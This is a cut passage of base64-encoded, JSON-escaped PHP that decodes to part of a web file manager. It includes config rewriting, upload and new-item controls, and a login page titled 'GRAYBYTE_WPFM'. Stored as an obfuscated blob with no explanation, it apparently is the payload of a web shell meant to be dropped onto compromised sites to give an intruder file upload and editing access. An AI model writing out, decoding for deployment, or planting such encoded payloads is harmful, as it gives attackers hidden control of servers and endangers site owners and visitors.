gICAgICAgJGNvbmZpZ19zdHJpbmcgPSBcIjw/cGhwXCIgLiBjaHIoMTMpIC4gY2hyKDEwKSAuIFwiXC9cL0RlZmF1bHQgQ29uZmlndXJhdGlvblwiIC4gY2hyKDEzKSAuIGNocigxMCkgLiBcIiR2YXJfbmFtZSA9ICR2YXJfdmFsdWU7XCIgLiBjaHIoMTMpIC4gY2hyKDEwKTtcbiAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRmbV9maWxlKSkge1xuICAgICAgICAgICAgJGxpbmVzID0gZmlsZSgkZm1fZmlsZSk7XG4gICAgICAgICAgICBpZiAoJGZoID0gQGZvcGVuKCRmbV9maWxlLCBcIndcIikpIHtcbiAgICAgICAgICAgICAgICBAZnB1dHMoJGZoLCAkY29uZmlnX3N0cmluZywgc3RybGVuKCRjb25maWdfc3RyaW5nKSk7XG4gICAgICAgICAgICAgICAgZm9yICgkeCA9IDM7ICR4IDwgY291bnQoJGxpbmVzKTsgJHgrKykge1xuICAgICAgICAgICAgICAgICAgICBAZnB1dHMoJGZoLCAkbGluZXNbJHhdLCBzdHJsZW4oJGxpbmVzWyR4XSkpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmaCk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9XG59XG5cblwvXC8tLS0gVGVtcGxhdGVzIEZ1bmN0aW9ucyAtLS1cblxuXC8qKlxuICogU2hvdyBuYXYgYmxvY2tcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqXC9cbmZ1bmN0aW9uIGZtX3Nob3dfbmF2X3BhdGgoJHBhdGgpXG57XG4gICAgZ2xvYmFsICRsYW5nLCAkc3RpY2t5X25hdmJhciwgJGVkaXRGaWxlO1xuICAgICRpc1N0aWNreU5hdkJhciA9ICRzdGlja3lfbmF2YmFyID8gJ2ZpeGVkLXRvcCcgOiAnJztcbj8+XG4gICAgPG5hdiBjbGFzcz1cIm5hdmJhciBuYXZiYXItZXhwYW5kLWxnIG1iLTQgbWFpbi1uYXYgPD9waHAgZWNobyAkaXNTdGlja3lOYXZCYXIgPz4gYmctYm9keS10ZXJ0aWFyeVwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICA8YSBjbGFzcz1cIm5hdmJhci1icmFuZFwiPiA8P3BocCBlY2hvIGxuZygnQXBwVGl0bGUnKSA/PiA8XC9hPlxuICAgICAgICA8YnV0dG9uIGNsYXNzPVwibmF2YmFyLXRvZ2dsZXJcIiB0eXBlPVwiYnV0dG9uXCIgZGF0YS1icy10b2dnbGU9XCJjb2xsYXBzZVwiIGRhdGEtYnMtdGFyZ2V0PVwiI25hdmJhclN1cHBvcnRlZENvbnRlbnRcIiBhcmlhLWNvbnRyb2xzPVwibmF2YmFyU3VwcG9ydGVkQ29udGVudFwiIGFyaWEtZXhwYW5kZWQ9XCJmYWxzZVwiIGFyaWEtbGFiZWw9XCJUb2dnbGUgbmF2aWdhdGlvblwiPlxuICAgICAgICAgICAgPHNwYW4gY2xhc3M9XCJuYXZiYXItdG9nZ2xlci1pY29uXCI+PFwvc3Bhbj5cbiAgICAgICAgPFwvYnV0dG9uPlxuICAgICAgICA8ZGl2IGNsYXNzPVwiY29sbGFwc2UgbmF2YmFyLWNvbGxhcHNlXCIgaWQ9XCJuYXZiYXJTdXBwb3J0ZWRDb250ZW50XCI+XG5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAkcGF0aCA9IGZtX2NsZWFuX3BhdGgoJHBhdGgpO1xuICAgICAgICAgICAgJHJvb3RfdXJsID0gXCI8YSBocmVmPSc/cD0nPjxpIGNsYXNzPSdmYSBmYS1ob21lJyBhcmlhLWhpZGRlbj0ndHJ1ZScgdGl0bGU9J1wiIC4gRk1fUk9PVF9QQVRIIC4gXCInPjxcL2k+PFwvYT5cIjtcbiAgICAgICAgICAgICRzZXAgPSAnPGkgY2xhc3M9XCJicmVhZC1jcnVtYlwiPiBcLyA8XC9pPic7XG4gICAgICAgICAgICBpZiAoJHBhdGggIT0gJycpIHtcbiAgICAgICAgICAgICAgICAkZXhwbG9kZWQgPSBleHBsb2RlKCdcLycsICRwYXRoKTtcbiAgICAgICAgICAgICAgICAkY291bnQgPSBjb3VudCgkZXhwbG9kZWQpO1xuICAgICAgICAgICAgICAgICRhcnJheSA9IGFycmF5KCk7XG4gICAgICAgICAgICAgICAgJHBhcmVudCA9ICcnO1xuICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRjb3VudDsgJGkrKykge1xuICAgICAgICAgICAgICAgICAgICAkcGFyZW50ID0gdHJpbSgkcGFyZW50IC4gJ1wvJyAuICRleHBsb2RlZFskaV0sICdcLycpO1xuICAgICAgICAgICAgICAgICAgICAkcGFyZW50X2VuYyA9IHVybGVuY29kZSgkcGFyZW50KTtcbiAgICAgICAgICAgICAgICAgICAgJGFycmF5W10gPSBcIjxhIGhyZWY9Jz9wPXskcGFyZW50X2VuY30nPlwiIC4gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCRleHBsb2RlZFskaV0pKSAuIFwiPFwvYT5cIjtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgJHJvb3RfdXJsIC49ICRzZXAgLiBpbXBsb2RlKCRzZXAsICRhcnJheSk7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPVwiY29sLXhzLTYgY29sLXNtLTVcIj4nIC4gJHJvb3RfdXJsIC4gJGVkaXRGaWxlIC4gJzxcL2Rpdj4nO1xuICAgICAgICAgICAgPz5cblxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy02IGNvbC1zbS03XCI+XG4gICAgICAgICAgICAgICAgPHVsIGNsYXNzPVwibmF2YmFyLW5hdiBqdXN0aWZ5LWNvbnRlbnQtZW5kXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtIG1yLTJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJpbnB1dC1ncm91cCBpbnB1dC1ncm91cC1zbSBtci0xXCIgc3R5bGU9XCJtYXJnaW4tdG9wOjRweDtcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+XCIgYXJpYS1sYWJlbD1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiIGFyaWEtZGVzY3JpYmVkYnk9XCJzZWFyY2gtYWRkb24yXCIgaWQ9XCJzZWFyY2gtYWRkb25cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAtYXBwZW5kXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPVwiaW5wdXQtZ3JvdXAtdGV4dCBicmwtMCBicnItMFwiIGlkPVwic2VhcmNoLWFkZG9uMlwiPjxpIGNsYXNzPVwiZmEgZmEtc2VhcmNoXCI+PFwvaT48XC9zcGFuPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAtYXBwZW5kIGJ0bi1ncm91cFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz1cImlucHV0LWdyb3VwLXRleHQgZHJvcGRvd24tdG9nZ2xlIGJybC0wXCIgZGF0YS1icy10b2dnbGU9XCJkcm9wZG93blwiIGFyaWEtaGFzcG9wdXA9XCJ0cnVlXCIgYXJpYS1leHBhbmRlZD1cImZhbHNlXCI+PFwvc3Bhbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImRyb3Bkb3duLW1lbnUgZHJvcGRvd24tbWVudS1yaWdodFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJkcm9wZG93bi1pdGVtXCIgaHJlZj1cIjw/cGhwIGVjaG8gJHBhdGgyID0gJHBhdGggPyAkcGF0aCA6ICcuJzsgPz5cIiBpZD1cImpzLXNlYXJjaC1tb2RhbFwiIGRhdGEtYnMtdG9nZ2xlPVwibW9kYWxcIiBkYXRhLWJzLXRhcmdldD1cIiNzZWFyY2hNb2RhbFwiPjw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZCBTZWFyY2gnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnVXBsb2FkJykgPz5cIiBjbGFzcz1cIm5hdi1saW5rXCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDt1cGxvYWRcIj48aSBjbGFzcz1cImZhIGZhLWNsb3VkLXVwbG9hZFwiIGFyaWEtaGlkZGVuPVwidHJ1ZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVcGxvYWQnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnTmV3SXRlbScpID8+XCIgY2xhc3M9XCJuYXYtbGlua1wiIGhyZWY9XCIjY3JlYXRlTmV3SXRlbVwiIGRhdGEtYnMtdG9nZ2xlPVwibW9kYWxcIiBkYXRhLWJzLXRhcmdldD1cIiNjcmVhdGVOZXdJdGVtXCI+PGkgY2xhc3M9XCJmYSBmYS1wbHVzLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdOZXdJdGVtJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoRk1fVVNFX0FVVEgpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibmF2LWl0ZW0gYXZhdGFyIGRyb3Bkb3duXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGluayBkcm9wZG93bi10b2dnbGVcIiBpZD1cIm5hdmJhckRyb3Bkb3duTWVudUxpbmstNVwiIGRhdGEtYnMtdG9nZ2xlPVwiZHJvcGRvd25cIiBhcmlhLWV4cGFuZGVkPVwiZmFsc2VcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9XCJmYSBmYS11c2VyLWNpcmNsZVwiPjxcL2k+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvYT5cblxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJkcm9wZG93bi1tZW51IGRyb3Bkb3duLW1lbnUtZW5kIHRleHQtc21hbGwgc2hhZG93XCIgYXJpYS1sYWJlbGxlZGJ5PVwibmF2YmFyRHJvcGRvd25NZW51TGluay01XCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PlwiIGNsYXNzPVwiZHJvcGRvd24taXRlbSBuYXYtbGlua1wiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7c2V0dGluZ3M9MVwiPjxpIGNsYXNzPVwiZmEgZmEtY29nXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdIZWxwJykgPz5cIiBjbGFzcz1cImRyb3Bkb3duLWl0ZW0gbmF2LWxpbmtcIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2hlbHA9MlwiPjxpIGNsYXNzPVwiZmEgZmEtZXhjbGFtYXRpb24tY2lyY2xlXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0xvZ291dCcpID8+XCIgY2xhc3M9XCJkcm9wZG93bi1pdGVtIG5hdi1saW5rXCIgaHJlZj1cIj9sb2dvdXQ9MVwiPjxpIGNsYXNzPVwiZmEgZmEtc2lnbi1vdXRcIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnTG9nb3V0JykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibmF2LWl0ZW1cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PlwiIGNsYXNzPVwiZHJvcGRvd24taXRlbSBuYXYtbGlua1wiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7c2V0dGluZ3M9MVwiPjxpIGNsYXNzPVwiZmEgZmEtY29nXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvbmF2PlxuPD9waHBcbn1cblxuXC8qKlxuICogU2hvdyBhbGVydCBtZXNzYWdlIGZyb20gc2Vzc2lvblxuICpcL1xuZnVuY3Rpb24gZm1fc2hvd19tZXNzYWdlKClcbntcbiAgICBpZiAoaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydtZXNzYWdlJ10pKSB7XG4gICAgICAgICRjbGFzcyA9IGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnc3RhdHVzJ10pID8gJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSA6ICdvayc7XG4gICAgICAgIGVjaG8gJzxwIGNsYXNzPVwibWVzc2FnZSAnIC4gJGNsYXNzIC4gJ1wiPicgLiAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ21lc3NhZ2UnXSAuICc8XC9wPic7XG4gICAgICAgIHVuc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddKTtcbiAgICAgICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSk7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBTaG93IHBhZ2UgaGVhZGVyIGluIExvZ2luIEZvcm1cbiAqXC9cbmZ1bmN0aW9uIGZtX3Nob3dfaGVhZGVyX2xvZ2luKClcbntcbiAgICBoZWFkZXIoXCJDb250ZW50LVR5cGU6IHRleHRcL2h0bWw7IGNoYXJzZXQ9dXRmLThcIik7XG4gICAgaGVhZGVyKFwiRXhwaXJlczogU2F0LCAyNiBKdWwgMTk5NyAwNTowMDowMCBHTVRcIik7XG4gICAgaGVhZGVyKFwiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTBcIik7XG4gICAgaGVhZGVyKFwiUHJhZ21hOiBuby1jYWNoZVwiKTtcblxuICAgIGdsb2JhbCAkZmF2aWNvbl9wYXRoO1xuPz5cbiAgICA8IURPQ1RZUEUgaHRtbD5cbiAgICA8aHRtbCBsYW5nPVwiZW5cIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ2RhcmsnIDogJ2xpZ2h0JyA/PlwiPlxuXG4gICAgPGhlYWQ+XG4gICAgICAgIDxtZXRhIGNoYXJzZXQ9XCJ1dGYtOFwiPlxuICAgICAgICA8bWV0YSBuYW1lPVwidmlld3BvcnRcIiBjb250ZW50PVwid2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm9cIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImRlc2NyaXB0aW9uXCIgY29udGVudD1cIldlYiBiYXNlZCBGaWxlIE1hbmFnZXIgaW4gUEhQLCBNYW5hZ2UgeW91ciBmaWxlcyBlZmZpY2llbnRseSBhbmQgZWFzaWx5IHdpdGggVGlueSBGaWxlIE1hbmFnZXJcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImF1dGhvclwiIGNvbnRlbnQ9XCJDQ1AgUHJvZ3JhbW1lcnNcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cInJvYm90c1wiIGNvbnRlbnQ9XCJub2luZGV4LCBub2ZvbGxvd1wiPlxuICAgICAgICA8bWV0YSBuYW1lPVwiZ29vZ2xlYm90XCIgY29udGVudD1cIm5vaW5kZXhcIj5cbiAgICAgICAgPD9waHAgaWYgKCRmYXZpY29uX3BhdGgpIHtcbiAgICAgICAgICAgIGVjaG8gJzxsaW5rIHJlbD1cImljb25cIiBocmVmPVwiJyAuIGZtX2VuYygkZmF2aWNvbl9wYXRoKSAuICdcIiB0eXBlPVwiaW1hZ2VcL3BuZ1wiPic7XG4gICAgICAgIH0gPz5cbiAgICAgICAgPHRpdGxlPkdSQVlCWVRFX1dQRk08XC90aXRsZT5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ3ByZS1qc2RlbGl2cicpOyA/PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWJvb3RzdHJhcCcpOyA/PlxuICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICBib2R5LmZtLWxvZ2luLXBhZ2Uge1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmN2Y5ZmI7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmN2Y5ZmI7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKFwiZGF0YTppbWFnZVwvc3ZnK3htbCwlM0NzdmcgeG1sbnM9J2h0dHA6XC9cL3d3dy53My5vcmdcLzIwMDBcL3N2Zycgdmlld0JveD0nMCAwIDMwNCAzMDQnIHdpZHRoPSczMDQnIGhlaWdodD0nMzA0JyUzRSUzQ3BhdGggZmlsbD0nJTIzZTJlOWYxJyBmaWxsLW9wYWNpdHk9JzAuNCcgZD0nTTQ0LjEgMjI0YTUgNSAwIDEgMSAwIDJIMHYtMmg0NC4xem0xNjAgNDhhNSA1IDAgMSAxIDAgMkg4MnYtMmgxMjIuMXptNTcuOC00NmE1IDUgMCAxIDEgMC0ySDMwNHYyaC00Mi4xem0wIDE2YTUgNSAwIDEgMSAwLTJIMzA0djJoLTQyLjF6bTYuMi0xMTRhNSA1IDAgMSAxIDAgMmgtODYuMmE1IDUgMCAxIDEgMC0yaDg2LjJ6bS0yNTYtNDhhNSA1IDAgMSAxIDAgMkgwdi0yaDEyLjF6bTE4NS44IDM0YTUgNSAwIDEgMSAwLTJoODYuMmE1IDUgMCAxIDEgMCAyaC04Ni4yek0yNTggMTIuMWE1IDUgMCAxIDEtMiAwVjBoMnYxMi4xem0tNjQgMjA4YTUgNSAwIDEgMS0yIDB2LTU0LjJhNSA1IDAgMSAxIDIgMHY1NC4yem00OC0xOTguMlY4MGg2MnYyaC02NFYyMS45YTUgNSAwIDEgMSAyIDB6bTE2IDE2VjY0aDQ2djJoLTQ4VjM3LjlhNSA1IDAgMSAxIDIgMHptLTEyOCA5NlYyMDhoMTZ2MTIuMWE1IDUgMCAxIDEtMiAwVjIxMGgtMTZ2LTc2LjFhNSA1IDAgMSAxIDIgMHptLTUuOS0yMS45YTUgNSAwIDEgMSAwIDJIMTE0djQ4SDg1LjlhNSA1IDAgMSAxIDAtMkgxMTJ2LTQ4aDEyLjF6bS02LjIgMTMwYTUgNSAwIDEgMSAwLTJIMTc2di03NC4xYTUgNSAwIDEgMSAyIDBWMjQyaC02MC4xem0tMTYtNjRhNSA1IDAgMSAxIDAtMkgxMTR2NDhoMTAuMWE1IDUgMCAxIDEgMCAySDExMnYtNDhoLTEwLjF6TTY2IDI4NC4xYTUgNSAwIDEgMS0yIDBWMjc0SDUwdjMwaC0ydi0zMmgxOHYxMi4xek0yMzYuMSAxNzZhNSA1IDAgMSAxIDAgMkgyMjZ2OTRoNDh2MzJoLTJ2LTMwaC00OHYtOThoMTIuMXptMjUuOC0zMGE1IDUgMCAxIDEgMC0ySDI3NHY0NC4xYTUgNSAwIDEgMS0yIDBWMTQ2aC0xMC4xem0tNjQgOTZhNSA1IDAgMSAxIDAtMkgyMDh2LTgwaDE2di0xNGgtNDIuMWE1IDUgMCAxIDEgMC0ySDIyNnYxOGgtMTZ2ODBoLTEyLjF6bTg2LjItMjEwYTUgNSAwIDEgMSAwIDJIMjcyVjBoMnYzMmgxMC4xek05OCAxMDEuOVYxNDZINTMuOWE1IDUgMCAxIDEgMC0ySDk2di00Mi4xYTUgNSAwIDEgMSAyIDB6TTUzLjkgMzRhNSA1IDAgMSAxIDAtMkg4MFYwaDJ2MzRINTMuOXptNjAuMSAzLjlWNjZIODJ2NjRINjkuOWE1IDUgMCAxIDEgMC0ySDgwVjY0aDMyVjM3LjlhNSA1IDAgMSAxIDIgMHpNMTAxLjkgODJhNSA1IDAgMSAxIDAtMkgxMjhWMzcuOWE1IDUgMCAxIDEgMiAwVjgyaC0yOC4xem0xNi02NGE1IDUgMCAxIDEgMC0ySDE0NnY0NC4xYTUgNSAwIDEgMS0yIDBWMThoLTI2LjF6bTEwMi4yIDI3MGE1IDUgMCAxIDEgMCAySDk4djE0aC0ydi0xNmgxMjQuMXpNMjQyIDE0OS45VjE2MGgxNnYzNGgtMTZ2NjJoNDh2NDhoLTJ2LTQ2aC00OHYtNjZoMTZ2LTMwaC0xNnYtMTIuMWE1IDUgMCAxIDEgMiAwek01My45IDE4YTUgNSAwIDEgMSAwLTJINjRWMkg0OFYwaDE4djE4SDUzLjl6bTExMiAzMmE1IDUgMCAxIDEgMC0ySDE5MlYwaDUwdjJoLTQ4djQ4aC0yOC4xem0tNDgtNDhhNSA1IDAgMCAxLTkuOC0yaDIuMDdhMyAzIDAgMSAwIDUuNjYgMEgxNzh2MzRoLTE4VjIxLjlhNSA1IDAgMSAxIDIgMFYzMmgxNFYyaC01OC4xem0wIDk2YTUgNSAwIDEgMSAwLTJIMTM3bDMyLTMyaDM5VjIxLjlhNSA1IDAgMSAxIDIgMFY2NmgtNDAuMTdsLTMyIDMySDExNy45em0yOC4xIDkwLjFhNSA1IDAgMSAxLTIgMHYtNzYuNTFMMTc1LjU5IDgwSDIyNFYyMS45YTUgNSAwIDEgMSAyIDBWODJoLTQ5LjU5TDE0NiAxMTIuNDF2NzUuNjl6bTE2IDMyYTUgNSAwIDEgMS0yIDB2LTk5LjUxTDE4NC41OSA5NkgzMDAuMWE1IDUgMCAwIDEgMy45LTMuOXYyLjA3YTMgMyAwIDAgMCAwIDUuNjZ2Mi4wN2E1IDUgMCAwIDEtMy45LTMuOUgxODUuNDFMMTYyIDEyMS40MXY5OC42OXptLTE0NC02NGE1IDUgMCAxIDEtMiAwdi0zLjUxbDQ4LTQ4VjQ4aDMyVjBoMnY1MEg2NnY1NS40MWwtNDggNDh2Mi42OXpNNTAgNTMuOXY0My41MWwtNDggNDhWMjA4aDI2LjFhNSA1IDAgMSAxIDAgMkgwdi02NS40MWw0OC00OFY1My45YTUgNSAwIDEgMSAyIDB6bS0xNiAxNlY4OS40MWwtMzQgMzR2LTIuODJsMzItMzJWNjkuOWE1IDUgMCAxIDEgMiAwek0xMi4xIDMyYTUgNSAwIDEgMSAwIDJIOS40MUwwIDQzLjQxVjQwLjZMOC41OSAzMmgzLjUxem0yNjUuOCAxOGE1IDUgMCAxIDEgMC0yaDE4LjY5bDcuNDEtNy40MXYyLjgyTDI5Ny40MSA1MEgyNzcuOXptLTE2IDE2MGE1IDUgMCAxIDEgMC0ySDI4OHYtNzEuNDFsMTYtMTZ2Mi44MmwtMTQgMTRWMjEwaC0yOC4xem0tMjA4IDMyYTUgNSAwIDEgMSAwLTJINjR2LTIyLjU5TDQwLjU5IDE5NEgyMS45YTUgNSAwIDEgMSAwLTJINDEuNDFMNjYgMjE2LjU5VjI0Mkg1My45em0xNTAuMiAxNGE1IDUgMCAxIDEgMCAySDk2di01Ni42TDU2LjYgMTYySDM3LjlhNSA1IDAgMSAxIDAtMmgxOS41TDk4IDIwMC42VjI1NmgxMDYuMXptLTE1MC4yIDJhNSA1IDAgMSAxIDAtMkg4MHYtNDYuNTlMNDguNTkgMTc4SDIxLjlhNSA1IDAgMSAxIDAtMkg0OS40MUw4MiAyMDguNTlWMjU4SDUzLjl6TTM0IDM5Ljh2MS42MUw5LjQxIDY2SDB2LTJoOC41OUwzMiA0MC41OVYwaDJ2MzkuOHpNMiAzMDAuMWE1IDUgMCAwIDEgMy45IDMuOUgzLjgzQTMgMyAwIDAgMCAwIDMwMi4xN1YyNTZoMTh2NDhoLTJ2LTQ2SDJ2NDIuMXpNMzQgMjQxdjYzaC0ydi02Mkgwdi0yaDM0djF6TTE3IDE4SDB2LTJoMTZWMGgydjE4aC0xem0yNzMtMmgxNHYyaC0xNlYwaDJ2MTZ6bS0zMiAyNzN2MTVoLTJ2LTE0aC0xNHYxNGgtMnYtMTZoMTh2MXpNMCA5Mi4xQTUuMDIgNS4wMiAwIDAgMSA2IDk3YTUgNSAwIDAgMS02IDQuOXYtMi4wN2EzIDMgMCAxIDAgMC01LjY2VjkyLjF6TTgwIDI3MmgydjMyaC0ydi0zMnptMzcuOSAzMmgtMi4wN2EzIDMgMCAwIDAtNS42NiAwaC0yLjA3YTUgNSAwIDAgMSA5LjggMHpNNS45IDBBNS4wMiA1LjAyIDAgMCAxIDAgNS45VjMuODNBMyAzIDAgMCAwIDMuODMgMEg1Ljl6bTI5NC4yIDBoMi4wN0EzIDMgMCAwIDAgMzA0IDMuODNWNS45YTUgNSAwIDAgMS0zLjktNS45em0zLjkgMzAwLjF2Mi4wN2EzIDMgMCAwIDAtMS44MyAxLjgzaC0yLjA3YTUgNSAwIDAgMSAzLjktMy45ek05NyAxMDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tNDggMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMzItMTZhMyAzIDAgMSAw